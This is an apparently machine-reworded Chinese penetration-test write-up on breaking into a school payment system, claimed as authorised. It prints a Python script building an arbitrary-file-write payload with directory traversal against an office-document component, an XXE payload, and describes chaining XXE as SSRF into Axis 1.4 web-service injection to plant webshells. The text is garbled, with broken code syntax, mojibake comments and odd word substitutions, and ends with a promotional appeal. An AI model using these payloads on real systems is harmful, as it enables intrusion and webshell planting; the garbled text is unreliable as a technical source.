序言

本次是针对学校某系统的渗透记录,已得到相应授权。
通用漏洞涉及影响单位早前已提交至SRC平台,厂商已发布对应补丁。

【查看资料】信息网络

目标系统紧张是一个支付平台,是近期刚上线的系统,向学校老师取得相应授权后开始测试。

软件开拓商:`xx软件开拓有限公司/xxsoft/xxxx.com.cn`开拓措辞: `Java`框架: `St2`

由于是近期刚上线的系统,单点认证还没有接入。
无法通过单点认证登录此系统,在考试测验爆破admin密码后无果. 开始转向源码的网络。
毕竟白盒才是最直接的手段。
源码的网络大致有以下几个思路:

jsp中如何使用saveas渗入渗出测试一次从黑盒转向白盒 PHP

1.百度云盘2.闲鱼 (部分商家已搭建第三方系统为主可能有存货须要主动讯问)3.同系统站点下存在备份

百度云盘和闲鱼比较费韶光,这两个紧张看自身对关键词的理解。
由于这两个思路基本被人玩得差不多了,也就 不再摧残浪费蹂躏韶光了(后面找了下也确实没有)。
先确定了该系统的指纹,利用fofa网络相同系统站点。

然后丢进御剑里走一遍。
字典如下:

/ROOT.7z/ROOT.rar/ROOT.tar/ROOT.tar.gz/ROOT.war/ROOT.zip/web.tar/web.tar.gz/web.rar

这里实在须要把稳.很多情形是tomcat下支配了多个运用。
在不同目录中,而 ROOT 目录中只是几个大略的重定向 文件
以是在扫描多运用站点时,该当把 ROOT 改成运用所处目录名. 如:

/pay/index.jsp-- > /pay/ --> pay.war

上面这套思路纯粹看运气.结果也是没有扫到.

某组件存在安全问题

备份走不通只能走一些历史漏洞了。
把url列表丢进自己写的轮子里扫一遍: (先是扫了一次目录,后根据目录再次验证)

创造ticket模块下存在 officeserver.jsp ,访问后涌现提示

DBSTEP V3.0 0 14 0 请利用Post方法

范例的某个组件,该组件默认存在 SAVEASHTML 方法,攻击者布局分外的数据包可以造成任意文件的写入: 并且默认利用Base64加密,紧张问题在于数据包的布局: 一张图大略理解下详细魄式. (别喷,我自己也看不懂)

阐明:

详细参考DbStep.jar中的StreamToMsg 方法。
这里只做大略的阐明 数据包的前64字节为配置信息,见告后端该如何读取,也便是0-63位。
个中 0:15 赋值给变量 FVersion , 16:31 赋值给变量 BodySize , 32:47 赋值给 ErrorSize . 48:63 赋值给 FFileSize .除了 FVersion ,别的中间内容只能填写数字,代表着各个变量的内容要读取多少位. 以 BodySize 为例子,这里的内容为 114 ,也便是说去除数据前64字节,再今后读114字节.这114字节内容赋值给 FMsgText .之后取参数也是从 FMsgText 中取,每个参数以 \n\t 进行分割。

以此类推. 理解如何布局对应数据包后开始编写脚本: 该组件默认会有一个 SAVEASHTML 方法。
可以将 FFileSize 截取的内容存储到文件中。
导致任意文件的写入。

else if (mOption.equalsIgnoreCase("SAVEASHTML")) { //����Ĵ���Ϊ��OFFICE��ΪHTMLҳ��mHtmlName = MsgObj.GetMsgByName("HTMLNAME"); //ȡ���ļ�����mDirectory = MsgObj.GetMsgByName("DIRECTORY"); //ȡ��Ŀ¼����MsgObj.MsgTextClear();if (mDirectory.trim().equalsIgnoreCase("")) {mFilePath = mFilePath + "\\HTML";}else {mFilePath = mFilePath + "\\HTML\\" + mDirectory;}MsgObj.MakeDirectory(mFilePath); //����·��if (MsgObj.MsgFileSave(mFilePath + "\\" + mHtmlName)) { //����HTML�ļ�MsgObj.MsgError(""); //���������ϢMsgObj.SetMsgByName("STATUS", "����HTML�ɹ�!"); //Ϣ��״̬����}else {MsgObj.MsgError("����HTMLʧ��!"); //���ô�����Ϣ}MsgObj.MsgFileClear();}

当文件夹不存在时会自动创建对应的文件夹。
MsgFileSave 方法后面拼接的 mHtmlName 内容可控,写入文件可以 考试测验跨目录。
编写天生脚本:

body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==LOCALFILE=MQ==""".replace(' ', '\n').strip()coente="""hello1"""fileContent=f'''{coente}'''.replace("\n","").strip()payload="DBSTEP V3.0 "bodysieze=str(len(body))filesize=str(len(fileContent))payload+=str(int(bodysieze)+3)+' '(16-len(bodysieze))+'0'+' '15+filesize+' '(16-len(filesize))+body+fileContentFVersion=payload[0:15]print("version:",FVersion)Body=payload[16:31]print("BodySize:",Body)Error=payload[32:47]print("ErrorSize:",Error)File=payload[48:63]print("FileSize:",File)print(payload)

利用postman发送payload到指定文件。

可能是以为我操作的过于顺利,返回保存文件失落败的内容,于是陷入了沉思。
经由一系列的探索。
我创造,当 FileName 中的内容不存在 /../ 跨目录符号时就能保存成功。

由于 mFilePath 取值便是当前运用的根目录

以是文件该当在 HTML 目录下。
考试测验访问.

返回404缺点,证明文件并没有写入到指定位置中。

Linux和Windows 写入文件的差异性

末了在请教忍酱后得知,由于目标是 Linux 系统,在 linux 系统中, \\ 被当做成一个文件夹。
而 FileOutputStream 在写入文件时如果文件夹不存在会直接抛出错误。

Demo:

当写入文件时。
由于文件夹不存在会创建一个 \HTML\test 的文件夹。
而终极写入路径中的文件夹名为 \HTML\test\\, HTML\test\\ 名字的文件夹是不存在的,导致文件无法写入成功 .

在不该用 /../ 跨目录符号时,文件终极会以 \\HTML\\test\\1.txt 的文件名进行存储,这与预期也是不符合的。

办理方案:

在理解无法写入的缘故原由后,开始探求办理方法。
既然该方法可以创建文件夹,那么如果我预先创建一个 \HTML\test\\ 命名的文件夹,后续不就可以写入了?\ 在创建文件夹时,如果 mDirectory 的内容不为空,那么终极存储的目录地址会进行一个拼接,然后创建。
我们可 以在 mDirectory 上做一些考试测验。
在创建的文件夹名后面添加 \\\ 符号,来确保能创建我们预期的文件夹名

实践:

这里写了一个Demo,仿照终极写入文件的流程。
在 path2 上添加多个 \\ .终极成功创建出了预期的\HTML\test\\ 文件夹。
(实际环境中实在须要3个)

有了对应的文件夹,再次考试测验写入,由于拼接的缘故原由,须要在原来的目录后去掉一个 \

写入成功: 完成跨目录

根据目标系统天生对应的POC: 统共分两个步骤: 1.创建文件夹 2.写入文件

再次考试测验写入文件:

成功写入!

终点也是出发点

成功拿到Webshell后,根据现有POC.考试测验在目标系统上复现,创造不存在 ticket 模块???,白干了?

好在先前拿的系统中存在 PAY 模块,可以直接下载下来进行代码审计。
一顿审计过后创造并没有什么利用点???,该系统不存在文件上传点,并且SQL注入都会对传入的字符做处理

统一利用 org.apache.commons.lang.StringEscapeUtils.escapeSql 方法进行过滤。

这导致后续利用难。
但是根据 web.xml ,创造该运用利用了 AXIS 且版本为1.4也开启了远程访问

Axis1.4 是存在一个远程命令实行的,可以向 web service 中添加恶意方法。
导致命令实行。

该漏洞利用须要一个SSRF漏洞,来组合利用。
根据现有代码开始查找,是否有可控点。
一顿操作下来创造并没有可以利用的SSRF点。
基本都是固定的URL。

回忆起最近才复现的 MySQL JDBC XXE漏洞(CVE-2021-2471) .xxe也是可以发送http要求的。
(紧张这天常平常不太关注这类漏洞)

在JAVA中,可能造成XXE漏洞的紧张有以下:

SAXBuilderSAXParserFactorySAXReaderSAXTransformerFactoryTransformerFactoryValidatorSampleXMLReaderUnmarshallerSchemaFactory.....

终极审计创造了一处 SAXBuilder 所造成的XXE漏洞。

布局Payload,测试一下dnslog。
Payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE b [<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">]><name>&xxe;</name>

得到相应。
有了SSRF,后续利用起来也比较方便了。
由于此系统安装路径都是统一的,公开的几个利用链都是第三方jar 包,LogHandler比较麻烦。
以是这里在内置方法类中找了一个文件写入的方法。
FileUtil下有一个 writeFileContent 方法,可以直接写入文件。

(公开的链中有可以直接实行命令的,如:freemarker。
目标不存在此依赖)

利用SSRF GET要求添加到 Web services ,"会有端口不一样的情形!
"(POST转换一下格式就可以)

方法被成功添加到Web Services中

调用方法,写入文件。
成功拿到Webshell!

末了

关注我,持续更新······

私我获取【网络安全学习资料·攻略】